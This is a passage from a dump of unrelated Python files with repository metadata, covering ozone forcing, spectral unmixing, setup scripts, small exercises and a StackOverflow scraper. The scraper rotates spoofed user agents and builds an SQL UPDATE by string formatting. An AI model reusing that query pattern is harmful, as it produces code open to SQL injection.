# Include the effect of climate feedback? We fit a curve to the 2000, 2030
# and 2100 best estimates of feedback based on middle-of-the-road
# temperature projections.
def temperature_feedback(T, a=0.03189267, b=1.34966941, c=-0.03214807):
if T<=0:
return 0
else:
return a*np.exp(-b*T)+c
if feedback:
F = F_CH4 + F_CO + F_NMVOC + F_NOx + temperature_feedback(T)
else:
F = F_CH4 + F_CO + F_NMVOC + F_NOx
return F
def stevenson(emissions, C_CH4, T=0, feedback=False, fix_pre1850_RCP=False,
PI=np.array([722, 170, 10, 4.29])):
"""Calculates tropospheric ozone forcing from precursor emissions based on
Stevenson et al, 2013 10.5194/acp-13-3063-2013
Inputs:
emissions: (nt x 40) numpy array
C_CH4 : (nt) numpy array of methane concentrations, ppb
Keywords:
T : change in surface temperature since pre-industrial
feedback : True or False - include temperature feedback on ozone
forcing?
fix_pre1850_RCP: Use different relationship for 1750/65 to 1850 based
on anthropogenic emissions from Skeie et al (2011)
for 1750 (atmos-chem-phys.net/11/11827/2011)
PI: : 4-element array of pre-industrial CH4 concentrations,
CO emissions, NMVOC emissions and NOx emissions
Outputs:
tropospheric ozone ERF time series.
"""
# expand to 2D/1D if not already
if emissions.ndim == 1:
nspec = len(emissions)
emissions = emissions.reshape((1, nspec))
if np.isscalar(C_CH4):
C_CH4 = np.ones(1)*C_CH4
# numbers in denominator are 2000-1750 concs or emissions used in
# Stevenson and traced back to Lamarque et al 2010 for 2000
# https://www.atmos-chem-phys.net/10/7017/2010/
year, em_CO, em_NMVOC, em_NOx = emissions[:,[0, 6, 7, 8]].T
nt = len(year)
F_CH4, F_CO, F_NMVOC, F_NOx = np.zeros((4,nt))
for i in range(nt):
if year[i]>=1850 or fix_pre1850_RCP==False:
F_CH4[i] = 0.166/960 * (C_CH4[i]-PI[0])
F_CO[i] = 0.058/681.8 * (em_CO[i]-PI[1])
F_NMVOC[i] = 0.035/155.84 * (em_NMVOC[i]-PI[2])
F_NOx[i] = 0.119/61.16 * (em_NOx[i] *
molwt.NO / molwt.N - PI[3])
# The RCP scenarios give a negative forcing prior to ~1780. This is
# because the anthropogenic emissions are given to be zero in RCPs but
# not zero in the Skeie numbers which are used here. This can be fixed
# to give a more linear behaviour.
else:
F_CH4[i] = 0.166/960 * (C_CH4[i]-722)
F_CO[i] = 0.058/681.8 * 215.59 * em_CO[i] / 385.59
F_NMVOC[i] = 0.035/155.84 * 51.97 * em_NMVOC[i] / 61.97
F_NOx[i] = 0.119/61.16 * 7.31 * (em_NOx[i]
* molwt.NO / molwt.N) / 11.6
# Include the effect of climate feedback? We fit a curve to the 2000, 2030
# and 2100 best estimates of feedback based on middle-of-the-road
# temperature projections.
def temperature_feedback(T, a=0.03189267, b=1.34966941, c=-0.03214807):
if T<=0:
return 0
else:
return a*np.exp(-b*T)+c
if feedback:
F = F_CH4 + F_CO + F_NMVOC + F_NOx + temperature_feedback(T)
else:
F = F_CH4 + F_CO + F_NMVOC + F_NOx
return F
| 36.384146 | 78 | 0.586224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,888 | 0.483995 |
7c59df650fcdcb09e11e3c4ab2f95de326942e41 | 4,758 | py | Python | raman/unmixing.py | falckt/raman | 8f9fae0e211dd49cebaba98e71787bb663be8fcf | [
"BSD-3-Clause"
] | 1 | 2020-05-21T11:56:32.000Z | 2020-05-21T11:56:32.000Z | raman/unmixing.py | falckt/raman | 8f9fae0e211dd49cebaba98e71787bb663be8fcf | [
"BSD-3-Clause"
] | null | null | null | raman/unmixing.py | falckt/raman | 8f9fae0e211dd49cebaba98e71787bb663be8fcf | [
"BSD-3-Clause"
] | null | null | null | # Author: Tillmann Falck <tf-raman@lucidus.de>
#
# License: BSD 3 clause
#
# SPDX-License-Identifier: BSD-3-Clause
import collections
from itertools import product
import cvxpy as cp
import numpy as np
def sunsal_tv(A, Y, lambda_1, lambda_tv, sweep='prod', tv_type='iso', additional_constraint='none'):
r"""
Sparse unmixing via variable splitting and augmented Lagrangian and total variation (SUnSAL-TV)
solves the following optimization problem
min || Y - A * X ||_F + lambda_1 || X ||_1 + lambda_TV || X ||_TV
X
subject to X >= 0 # if additional_constraint is 'positive'
sum(X, axis=0) == 1 # if additional_constraint is 'sum_to_one'
with
|| X ||_1 = \sum_i | x_i | # for a flattened array X
|| X ||_TV = \sum_i (\sum_j |X_ij|^p)^(1/p) # p = 1 for non-isotropic and p = 2 for isotropic
Parameters
----------
A: array - N x L, spectral library, where L is the number of library elements and N the number of points in each spectrum
Y: array - N x m_1 x ... x m_d, target spectra, m_1, ..., m_d are spatial dimnesions
lambda_1: float - regularization constant for elementwise sparsity inducing term
lambda_TV: float - regularization constant for TV regularizer (sparse changes along spatial dimensions)
sweep: {'prod', 'zip'} -
tv_type: {'iso', 'non-iso'} - type of total variation norm, isotropic or non-isotropic
additional_constraint: {'none', 'positive', 'sum_to_one'} - additional constraint on solution
Returns
-------
X: array - L x m_1 x ... x m_d
References
----------
[1] M. Iordache, J. M. Bioucas-Dias and A. Plaza, "Total Variation Spatial Regularization for
Sparse Hyperspectral Unmixing," in IEEE Transactions on Geoscience and Remote Sensing,
vol. 50, no. 11, pp. 4484-4502, Nov. 2012.
[2] Matlab implementation, downloaded from
https://github.com/ricardoborsoi/MUA_SparseUnmixing/blob/57802d5b2f77649fb32c2e4c75258f8d91084f7d/sunsal_tv.m
[3] https://dsp.stackexchange.com/questions/57977/isotropic-and-anisotropic-in-the-total-variation-framework
"""
# get dimensions
num_spectra, lib_size = A.shape
sample_dims = Y.shape[1:]
assert Y.shape[0] == num_spectra, 'Size of library does not size of target variables'
# reshape Y from [spectra x Xpos x Ypos x ...] --> [spectra x (Xpos * Ypos * ...)]
Y = Y.reshape((num_spectra, -1))
num_samples = Y.shape[1]
# create optimization variables
positive_solution = (additional_constraint == 'positive')
X = cp.Variable((lib_size, num_samples), nonneg=positive_solution)
p_lambda_1 = cp.Parameter(1, nonneg=True)
p_lambda_tv = cp.Parameter(1, nonneg=True)
# calculate first differences in each direction
idx = np.r_[:num_samples]
idx_s = idx.reshape(sample_dims)
differences = []
for n, d in enumerate(sample_dims):
ia = np.ravel(idx_s.take(indices=np.r_[np.r_[1:d], 0], axis=n))
ib = np.ravel(idx_s.take(indices=np.r_[:d], axis=n))
differences.append(X[:, ia] - X[:, ib])
# compute TV norm
if tv_type == 'iso':
D = [x*x for x in differences]
D = cp.sqrt(cp.sum(D))
tv = cp.sum(D)
elif tv_type == 'non-iso':
D = [cp.sum(cp.abs(x)) for x in differences]
tv = cp.sum(D)
else:
raise ValueError(f'TV norm type `{tv_type}` is not defined')
# define object function
obj = cp.norm(Y - A @ X, p='fro') + p_lambda_1 * cp.pnorm(X, p=1) + p_lambda_tv * tv
# constraints
constr = []
if additional_constraint == 'sum_to_one':
constr.append(cp.sum(X, axis=0) == 1)
# opimiztion problem
prob = cp.Problem(cp.Minimize(obj), constr)
# init parameter sweep
# if lambda_1 and lambda_tv are scalar return result
# otherwise return a dict with (lambda_1, lambda_tv): result
lambda_scalar = True
if not isinstance(lambda_1, collections.Iterable):
lambda_1 = [lambda_1]
else:
lambda_scalar = False
if not isinstance(lambda_tv, collections.Iterable):
lambda_tv = [lambda_tv]
else:
lambda_scalar = False
if sweep == 'prod':
l_iter = product(lambda_1, lambda_tv)
elif sweep == 'zip':
l_iter = zip(lambda_1, lambda_tv)
else:
raise ValueError(f'Parameter sweep `{sweep}` not supported')
results = {}
for l_1, l_tv in l_iter:
p_lambda_1.value = l_1
p_lambda_tv.value = l_tv
# solution
prob.solve(solver=cp.SCS, verbose=True)
results[(l_1, l_tv)] = X.value.reshape((lib_size, ) + sample_dims)
if lambda_scalar:
return results.popitem()[1]
else:
return results
| 34.985294 | 125 | 0.640395 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,557 | 0.537411 |
7c67a7fccb58ad0744513e429cedf4044452005e | 311 | py | Python | databases/music.py | danielicapui/programa-o-avancada | d0e5b876b951ae04a46ffcda0dc0143e3f7114d9 | [
"MIT"
] | null | null | null | databases/music.py | danielicapui/programa-o-avancada | d0e5b876b951ae04a46ffcda0dc0143e3f7114d9 | [
"MIT"
] | null | null | null | databases/music.py | danielicapui/programa-o-avancada | d0e5b876b951ae04a46ffcda0dc0143e3f7114d9 | [
"MIT"
] | null | null | null | from utills import *
conn,cur=start('music')
criarTabela("tracks","title text,plays integer")
music=[('trunder',20),
('my way',15)]
insertInto("tracks","title,plays",music)
#cur.executemany("insert into tracks (title,plays) values (?,?)",music)
buscaTabela("tracks","title")
conn.commit()
conn.close()
| 25.916667 | 71 | 0.691318 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 165 | 0.530547 |
7c79d2fe84aae88ef213fa559ea2499797887d57 | 959 | py | Python | doc/gallery-src/analysis/run_blockMcnpMaterialCard.py | celikten/armi | 4e100dd514a59caa9c502bd5a0967fd77fdaf00e | [
"Apache-2.0"
] | 1 | 2021-05-29T16:02:31.000Z | 2021-05-29T16:02:31.000Z | doc/gallery-src/analysis/run_blockMcnpMaterialCard.py | celikten/armi | 4e100dd514a59caa9c502bd5a0967fd77fdaf00e | [
"Apache-2.0"
] | null | null | null | doc/gallery-src/analysis/run_blockMcnpMaterialCard.py | celikten/armi | 4e100dd514a59caa9c502bd5a0967fd77fdaf00e | [
"Apache-2.0"
] | null | null | null | """
Write MCNP Material Cards
=========================
Here we load a test reactor and write each component of one fuel block out as
MCNP material cards.
Normally, code-specific utility code would belong in a code-specific ARMI
plugin. But in this case, the need for MCNP materials cards is so pervasive
that it made it into the framework.
"""
from armi.reactor.tests import test_reactors
from armi.reactor.flags import Flags
from armi.utils.densityTools import formatMaterialCard
from armi.nucDirectory import nuclideBases as nb
from armi import configure
configure(permissive=True)
_o, r = test_reactors.loadTestReactor()
bFuel = r.core.getBlocks(Flags.FUEL)[0]
for ci, component in enumerate(bFuel, start=1):
ndens = component.getNumberDensities()
# convert nucName (str) keys to nuclideBase keys
ndensByBase = {nb.byName[nucName]: dens for nucName, dens in ndens.items()}
print("".join(formatMaterialCard(ndensByBase, matNum=ci)))
| 31.966667 | 79 | 0.755996 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 396 | 0.41293 |
7c81a099c1328ddb836ac7f6bc808bcec8ce85e6 | 5,525 | py | Python | tabnine-vim/third_party/ycmd/third_party/python-future/setup.py | MrMonk3y/vimrc | 950230fb3fd7991d1234c2ab516ec03245945677 | [
"MIT"
] | 2 | 2018-04-16T03:08:42.000Z | 2021-01-06T10:21:49.000Z | tabnine-vim/third_party/ycmd/third_party/python-future/setup.py | MrMonk3y/vimrc | 950230fb3fd7991d1234c2ab516ec03245945677 | [
"MIT"
] | null | null | null | tabnine-vim/third_party/ycmd/third_party/python-future/setup.py | MrMonk3y/vimrc | 950230fb3fd7991d1234c2ab516ec03245945677 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
from __future__ import absolute_import, print_function
import os
import os.path
import sys
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
sys.exit()
NAME = "future"
PACKAGES = ["future",
"future.builtins",
"future.types",
"future.standard_library",
"future.backports",
"future.backports.email",
"future.backports.email.mime",
"future.backports.html",
"future.backports.http",
"future.backports.test",
"future.backports.urllib",
"future.backports.xmlrpc",
"future.moves",
"future.moves.dbm",
"future.moves.html",
"future.moves.http",
"future.moves.test",
"future.moves.tkinter",
"future.moves.urllib",
"future.moves.xmlrpc",
"future.tests", # for future.tests.base
# "future.tests.test_email",
"future.utils",
"past",
"past.builtins",
"past.types",
"past.utils",
# "past.tests",
"past.translation",
"libfuturize",
"libfuturize.fixes",
"libpasteurize",
"libpasteurize.fixes",
]
# PEP 3108 stdlib moves:
if sys.version_info[:2] < (3, 0):
PACKAGES += [
"builtins",
"configparser",
"copyreg",
"html",
"http",
"queue",
"reprlib",
"socketserver",
"tkinter",
"winreg",
"xmlrpc",
"_dummy_thread",
"_markupbase",
"_thread",
]
PACKAGE_DATA = {'': [
'README.rst',
'LICENSE.txt',
'futurize.py',
'pasteurize.py',
'discover_tests.py',
'check_rst.sh',
'TESTING.txt',
],
'tests': ['*.py'],
}
REQUIRES = []
TEST_REQUIRES = []
if sys.version_info[:2] == (2, 6):
REQUIRES += ['importlib', 'argparse']
TEST_REQUIRES += ['unittest2']
import src.future
VERSION = src.future.__version__
DESCRIPTION = "Clean single-source support for Python 3 and 2"
LONG_DESC = src.future.__doc__
AUTHOR = "Ed Schofield"
AUTHOR_EMAIL = "ed@pythoncharmers.com"
URL="https://python-future.org"
LICENSE = "MIT"
KEYWORDS = "future past python3 migration futurize backport six 2to3 modernize pasteurize 3to2"
CLASSIFIERS = [
"Programming Language :: Python",
"Programming Language :: Python :: 2.6",
"Programming Language :: Python :: 2.7",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.3",
"Programming Language :: Python :: 3.4",
"License :: OSI Approved",
"License :: OSI Approved :: MIT License",
"Development Status :: 4 - Beta",
"Intended Audience :: Developers",
]
setup_kwds = {}
# * Important *
# We forcibly remove the build folder to avoid breaking the
# user's Py3 installation if they run "python2 setup.py
# build" and then "python3 setup.py install".
try:
# If the user happens to run:
# python2 setup.py build
# python3 setup.py install
# then folders like "configparser" will be in build/lib.
# If so, we CANNOT let the user install this, because
# this may break his/her Python 3 install, depending on the folder order in
# sys.path. (Running "import configparser" etc. may pick up our Py2
# substitute packages, instead of the intended system stdlib modules.)
SYSTEM_MODULES = set([
'_dummy_thread',
'_markupbase',
'_thread',
'builtins',
'configparser',
'copyreg',
'html',
'http',
'queue',
'reprlib',
'socketserver',
'tkinter',
'winreg',
'xmlrpc'
])
if sys.version_info[0] >= 3:
# Do any of the above folders exist in build/lib?
files = os.listdir(os.path.join('build', 'lib'))
if len(set(files) & set(SYSTEM_MODULES)) > 0:
print('ERROR: Your build folder is in an inconsistent state for '
'a Python 3.x install. Please remove it manually and run '
'setup.py again.', file=sys.stderr)
sys.exit(1)
except OSError:
pass
setup(name=NAME,
version=VERSION,
author=AUTHOR,
author_email=AUTHOR_EMAIL,
url=URL,
description=DESCRIPTION,
long_description=LONG_DESC,
license=LICENSE,
keywords=KEYWORDS,
entry_points={
'console_scripts': [
'futurize = libfuturize.main:main',
'pasteurize = libpasteurize.main:main'
]
},
package_dir={'': 'src'},
packages=PACKAGES,
package_data=PACKAGE_DATA,
include_package_data=True,
install_requires=REQUIRES,
classifiers=CLASSIFIERS,
test_suite = "discover_tests",
tests_require=TEST_REQUIRES,
**setup_kwds
)
| 29.864865 | 95 | 0.523439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,589 | 0.468597 |
7c82276d6def1d1d6f137aa1788b787b2da8110f | 3,009 | py | Python | python-็พๅบฆ็ฟป่ฏ่ฐ็จ/Baidu_translate/com/translate/baidu/stackoverflow_question_handler.py | wangchuanli001/Project-experience | b563c5c3afc07c913c2e1fd25dff41c70533f8de | [
"Apache-2.0"
] | 12 | 2019-12-07T01:44:55.000Z | 2022-01-27T14:13:30.000Z | python-็พๅบฆ็ฟป่ฏ่ฐ็จ/Baidu_translate/com/translate/baidu/stackoverflow_question_handler.py | hujiese/Project-experience | b563c5c3afc07c913c2e1fd25dff41c70533f8de | [
"Apache-2.0"
] | 23 | 2020-05-23T03:56:33.000Z | 2022-02-28T07:54:45.000Z | python-็พๅบฆ็ฟป่ฏ่ฐ็จ/Baidu_translate/com/translate/baidu/stackoverflow_question_handler.py | hujiese/Project-experience | b563c5c3afc07c913c2e1fd25dff41c70533f8de | [
"Apache-2.0"
] | 7 | 2019-12-20T04:48:56.000Z | 2021-11-19T02:23:45.000Z | import requests
from bs4 import BeautifulSoup
import urllib.request
import os
import random
import time
def html(url):
user_agents = [
'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11',
'Opera/9.25 (Windows NT 5.1; U; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.2.9',
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.7 (KHTML, like Gecko) Ubuntu/11.04 Chromium/16.0.912.77 Chrome/16.0.912.77 Safari/535.7",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 "]
user_agent = random.choice(user_agents)
headers = {
'User-Agent': user_agent,
'Accept-Encoding': 'gzip'}
req = requests.get(url=url, headers=headers)
html_doc = req.text
soup = BeautifulSoup(html_doc, "html.parser")
times = soup.select("time")
views = soup.select("p.label-key > b")
active_str = str(views[2])
active = active_str[active_str.find("title=\"") + 7:active_str.find("Z")]
answers = soup.select("#answers-header > div > h2 >span")
question_content = soup.select("div.post-text")
tags = soup.select("#question > div.post-layout > div.postcell.post-layout--right > "
"div.post-taglist.grid.gs4.gsy.fd-column > div >a")
title = soup.select("h1 >a")
tags_str = ""
item = []
for tag in tags:
tags_str += tag.get_text() + ","
answer_contetnts = []
for i in range(1, len(question_content)):
answer_contetnts.append(question_content[i])
for i in range(len(times)):
if len(times[i].get_text()) > 1:
asked_time = times[i].get("datetime").replace("T", " ")
item.append(title[
0].get_text()) # title views answersnum asked_time tag_str active_time quest_content_ text answer_content_list
item.append(views[1].get_text())
item.append(answers[0].get_text())
item.append(asked_time)
item.append(tags_str)
item.append(active)
item.append(question_content[0])
item.append(answer_contetnts)
print(item)
# updatetosql(item)
def updatetosql(item):
ansers_text = "[split]".join(item[7])
updatesql = "UPDATE `t_stackoverflow_question` " \
"SET `tags`='%s', `views`='%s', `answers_num`='%s', `asked_time`='%s', `last_active_time`='%s', `question_content`='%s', `answers_contetnt`='%s' " \
"WHERE (`question_id`='%s') " \
% (item[4], item[1], item[2], item[3], item[5], item[6], ansers_text, item[0],)
pass
if __name__ == '__main__':
html("https://stackoverflow.com/questions/50119673/nginx-fast-cgi-cache-on-error-page-404")
| 42.985714 | 164 | 0.623463 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,400 | 0.465271 |
7c839f4dc74ac86e89c284ecfbdaf987fd07d858 | 554 | py | Python | Problem_09.py | Habbo3/Project-Euler | 1a01d67f72b9cfb606d13df91af89159b588216e | [
"MIT"
] | null | null | null | Problem_09.py | Habbo3/Project-Euler | 1a01d67f72b9cfb606d13df91af89159b588216e | [
"MIT"
] | null | null | null | Problem_09.py | Habbo3/Project-Euler | 1a01d67f72b9cfb606d13df91af89159b588216e | [
"MIT"
] | null | null | null | """
A Pythagorean triplet is a set of three natural numbers, a < b < c, for which,
a2 + b2 = c2
For example, 32 + 42 = 9 + 16 = 25 = 52.
There exists exactly one Pythagorean triplet for which a + b + c = 1000.
Find the product abc.
"""
solved = False
for a in range(1, 1000):
for b in range(1, 1000):
for c in range(1, 1000):
if a < b < c:
if a + b + c == 1000:
if a**2 + b**2 == c**2:
solved = True
break
if solved:
break
if solved:
break
product = a*b*c
print("The product of only triplet who exists is : ", product) | 24.086957 | 78 | 0.601083 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 281 | 0.50722 |
7c84e9b3f92ddbf93482eff72a312c6afff49d17 | 173 | py | Python | Level1_Input_Output/10172.py | jaeheeLee17/BOJ_Algorithms | c14641693d7ef0f5bba0a6637166c7ceadb2a0be | [
"MIT"
] | null | null | null | Level1_Input_Output/10172.py | jaeheeLee17/BOJ_Algorithms | c14641693d7ef0f5bba0a6637166c7ceadb2a0be | [
"MIT"
] | null | null | null | Level1_Input_Output/10172.py | jaeheeLee17/BOJ_Algorithms | c14641693d7ef0f5bba0a6637166c7ceadb2a0be | [
"MIT"
] | null | null | null | def main():
print("|\_/|")
print("|q p| /}")
print("( 0 )\"\"\"\\")
print("|\"^\"` |")
print("||_/=\\\\__|")
if __name__ == "__main__":
main()
| 17.3 | 26 | 0.352601 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 72 | 0.416185 |
7c85f5102089b2dbe1aa3c33bc6b5354992888f4 | 466 | py | Python | pybook/ch10/DeckOfCards.py | YanhaoXu/python-learning | 856687a71635a2ca67dab49d396c238f128e5ec0 | [
"MIT"
] | 2 | 2021-12-06T13:29:48.000Z | 2022-01-20T11:39:45.000Z | pybook/ch10/DeckOfCards.py | YanhaoXu/python-learning | 856687a71635a2ca67dab49d396c238f128e5ec0 | [
"MIT"
] | null | null | null | pybook/ch10/DeckOfCards.py | YanhaoXu/python-learning | 856687a71635a2ca67dab49d396c238f128e5ec0 | [
"MIT"
] | null | null | null | import random
# Create a deck of cards
deck = [x for x in range(52)]
# Create suits and ranks lists
suits = ["Spades", "Hearts", "Diamonds", "Clubs"]
ranks = ["Ace", "2", "3", "4", "5", "6", "7", "8", "9",
"10", "Jack", "Queen", "King"]
# Shuffle the cards
random.shuffle(deck)
# Display the first four cards
for i in range(4):
suit = suits[deck[i] // 13]
rank = ranks[deck[i] % 13]
print("Card number", deck[i], "is the", rank, "of", suit)
| 24.526316 | 61 | 0.575107 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 213 | 0.457082 |
7c8eb61b685c469f781463c9f7be05e90e8308c7 | 1,408 | py | Python | neural_network/backup_casestudy/denbigh/tf_RNN.py | acceleratedmaterials/AMDworkshop_demo | e7c2b931e023fc00ff7494b8acb2181f5c75bc4e | [
"MIT"
] | 5 | 2019-04-02T03:20:43.000Z | 2021-07-13T18:23:26.000Z | neural_network/backup_casestudy/denbigh/tf_RNN.py | NUS-SSE/AMDworkshop_demo | edbd6c60957dd0d83c3ef43c7e9e28ef1fef3bd9 | [
"MIT"
] | null | null | null | neural_network/backup_casestudy/denbigh/tf_RNN.py | NUS-SSE/AMDworkshop_demo | edbd6c60957dd0d83c3ef43c7e9e28ef1fef3bd9 | [
"MIT"
] | 5 | 2019-05-12T17:41:58.000Z | 2021-06-08T04:38:35.000Z | # -*- coding: utf-8 -*-
'''
Framework: Tensorflow
Training samples: 1600
Validation samples: 400
RNN with 128 units
Optimizer: Adam
Epoch: 100
Loss: Cross Entropy
Activation function: Relu for network and Soft-max for regression
Regularization: Drop-out, keep_prob = 0.8
Accuracy of Validation set: 95%
'''
from __future__ import division, print_function, absolute_import
import tflearn
from tflearn.data_utils import to_categorical, pad_sequences
from data_denbigh import *
X, Y = getDenbighData()
#Hyperparams
neurons_num = 128 # Number of neurons in the RNN layer
keep_prob = 0.5 # Keep probability for the drop-out regularization
learning_rate = 0.001 # Learning rate for mini-batch SGD
batch_size = 32 # Batch size
n_epoch = 100 # Number of epoch
#Data preprocessing/ Converting data to vector for the
X = pad_sequences(X, maxlen=5, value=0.)
Y = to_categorical(Y, 2)
#Build the network
net = tflearn.input_data([None, 5])
net = tflearn.embedding(net, input_dim=10000, output_dim=128)
net = tflearn.simple_rnn(net, neurons_num, dropout=keep_prob)
net = tflearn.fully_connected(net, 2, activation='softmax')
net = tflearn.regression(net, optimizer='adam', learning_rate=learning_rate,
loss='categorical_crossentropy')
model = tflearn.DNN(net, tensorboard_verbose=0)
model.fit(X, Y, validation_set=0.2, show_metric=True,
batch_size=batch_size, n_epoch=n_epoch)
model.save('./model.tfl') | 37.052632 | 76 | 0.769176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 593 | 0.421165 |
7c909452f19de7c50d60c569038b33d1b55f15c0 | 909 | py | Python | modules/interpolator.py | buulikduong/1d_sgl_solver | 03ce0b362d45acbbd3bb35e7b604ba97982eea92 | [
"BSD-2-Clause"
] | null | null | null | modules/interpolator.py | buulikduong/1d_sgl_solver | 03ce0b362d45acbbd3bb35e7b604ba97982eea92 | [
"BSD-2-Clause"
] | null | null | null | modules/interpolator.py | buulikduong/1d_sgl_solver | 03ce0b362d45acbbd3bb35e7b604ba97982eea92 | [
"BSD-2-Clause"
] | 2 | 2020-09-01T13:02:49.000Z | 2021-08-15T09:10:17.000Z | """Module interpolating mathematical functions out of support points"""
from scipy.interpolate import interp1d, lagrange, CubicSpline
def interpolator(x_sup, y_sup, method):
"""Interpolates a mathematical function from a given set of
points using either linear, polynomial or cubic spline for the
interpolation.
Args:
x_sup (list): x-coordinates of the function
y_sup (list): y-coordinates of the function
method (string): name of the interpolation method to be used
Returns:
intfunc: interpolated function
"""
if method == "linear":
intfunc = interp1d(x_sup, y_sup, kind="linear")
return intfunc
elif method == "polynomial":
intfunc = lagrange(x_sup, y_sup)
return intfunc
elif method == "cspline":
intfunc = CubicSpline(x_sup, y_sup, bc_type="natural")
return intfunc
return None
| 29.322581 | 71 | 0.672167 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 507 | 0.557756 |
7c93f115e357ee6abe4ee6a425a0e90b87246382 | 1,834 | py | Python | setup.py | Parquery/pynumenc | f14abab40b7d08c55824bf1da5b2a7026c0a7282 | [
"MIT"
] | 1 | 2018-11-09T16:16:08.000Z | 2018-11-09T16:16:08.000Z | setup.py | Parquery/numenc-py | f14abab40b7d08c55824bf1da5b2a7026c0a7282 | [
"MIT"
] | 2 | 2018-11-09T12:51:40.000Z | 2018-11-09T12:53:55.000Z | setup.py | Parquery/pynumenc | f14abab40b7d08c55824bf1da5b2a7026c0a7282 | [
"MIT"
] | 2 | 2019-02-26T12:40:11.000Z | 2019-06-17T07:42:35.000Z | """A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
import os
from setuptools import setup, find_packages, Extension
import pynumenc_meta
# pylint: disable=redefined-builtin
here = os.path.abspath(os.path.dirname(__file__)) # pylint: disable=invalid-name
with open(os.path.join(here, 'README.rst'), encoding='utf-8') as f:
long_description = f.read() # pylint: disable=invalid-name
setup(
name=pynumenc_meta.__title__,
version=pynumenc_meta.__version__,
description=pynumenc_meta.__description__,
long_description=long_description,
url=pynumenc_meta.__url__,
author=pynumenc_meta.__author__,
author_email=pynumenc_meta.__author_email__,
classifiers=[
'Development Status :: 5 - Production/Stable',
'Intended Audience :: End Users/Desktop',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6'
],
license='License :: OSI Approved :: MIT License',
keywords='C++ encode decode bytes encoding decoding sorted',
packages=find_packages(exclude=['docs', 'tests']),
install_requires=[],
extras_require={
'dev': [
# yapf: disable,
'docutils>=0.14,<1',
'mypy==0.641',
'hypothesis==3.82.1',
'pygments>=2.2.0,<3',
'pydocstyle>=3.0.0,<4',
'pylint==2.1.1',
'yapf==0.24.0'
# yapf: enable
]
},
ext_modules=[
Extension('numenc', sources=['numenc-cpp/encoder_decoder.cpp'])
],
scripts=['bin/pynumenc'],
py_modules=['pynumenc_meta'],
package_data={'pynumenc': ['py.typed']},
data_files=[('.', ['LICENSE.txt', 'README.rst'])])
| 31.084746 | 81 | 0.630316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 835 | 0.455289 |
7c974ea9b476fd86b7ac61a4ae4dbd0512a02f64 | 1,711 | py | Python | letsencrypt/setup.py | ccppuu/certbot | 9fead41aaf93dde0d36d4aef6fded8dd306c1ddc | [
"Apache-2.0"
] | 1 | 2017-12-20T20:06:11.000Z | 2017-12-20T20:06:11.000Z | letsencrypt/setup.py | cpu/certbot | 9fead41aaf93dde0d36d4aef6fded8dd306c1ddc | [
"Apache-2.0"
] | null | null | null | letsencrypt/setup.py | cpu/certbot | 9fead41aaf93dde0d36d4aef6fded8dd306c1ddc | [
"Apache-2.0"
] | null | null | null | import codecs
import os
import sys
from setuptools import setup
from setuptools import find_packages
def read_file(filename, encoding='utf8'):
"""Read unicode from given file."""
with codecs.open(filename, encoding=encoding) as fd:
return fd.read()
here = os.path.abspath(os.path.dirname(__file__))
readme = read_file(os.path.join(here, 'README.rst'))
# This package is a simple shim around certbot
install_requires = ['certbot']
version = '0.7.0.dev0'
setup(
name='letsencrypt',
version=version,
description="ACME client",
long_description=readme,
url='https://github.com/letsencrypt/letsencrypt',
author="Certbot Project",
author_email='client-dev@letsencrypt.org',
license='Apache License 2.0',
classifiers=[
'Development Status :: 3 - Alpha',
'Environment :: Console',
'Environment :: Console :: Curses',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: Apache Software License',
'Operating System :: POSIX :: Linux',
'Programming Language :: Python',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Topic :: Internet :: WWW/HTTP',
'Topic :: Security',
'Topic :: System :: Installation/Setup',
'Topic :: System :: Networking',
'Topic :: System :: Systems Administration',
'Topic :: Utilities',
],
packages=find_packages(),
include_package_data=True,
install_requires=install_requires,
entry_points={
'console_scripts': [
'letsencrypt = certbot.main:main',
],
},
)
| 27.15873 | 61 | 0.630625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 858 | 0.501461 |
7cae45b970c1385083dad6bbec98b3cd495bf626 | 3,948 | py | Python | EMeRGE/dssmetrics/constants.py | NREL/EMeRGE | 573e86ca8e62080c664998e8cc79e9231e7ad502 | [
"BSD-3-Clause"
] | 6 | 2020-04-11T18:09:00.000Z | 2022-01-23T20:38:38.000Z | EMeRGE/dssmetrics/constants.py | NREL/EMeRGE | 573e86ca8e62080c664998e8cc79e9231e7ad502 | [
"BSD-3-Clause"
] | null | null | null | EMeRGE/dssmetrics/constants.py | NREL/EMeRGE | 573e86ca8e62080c664998e8cc79e9231e7ad502 | [
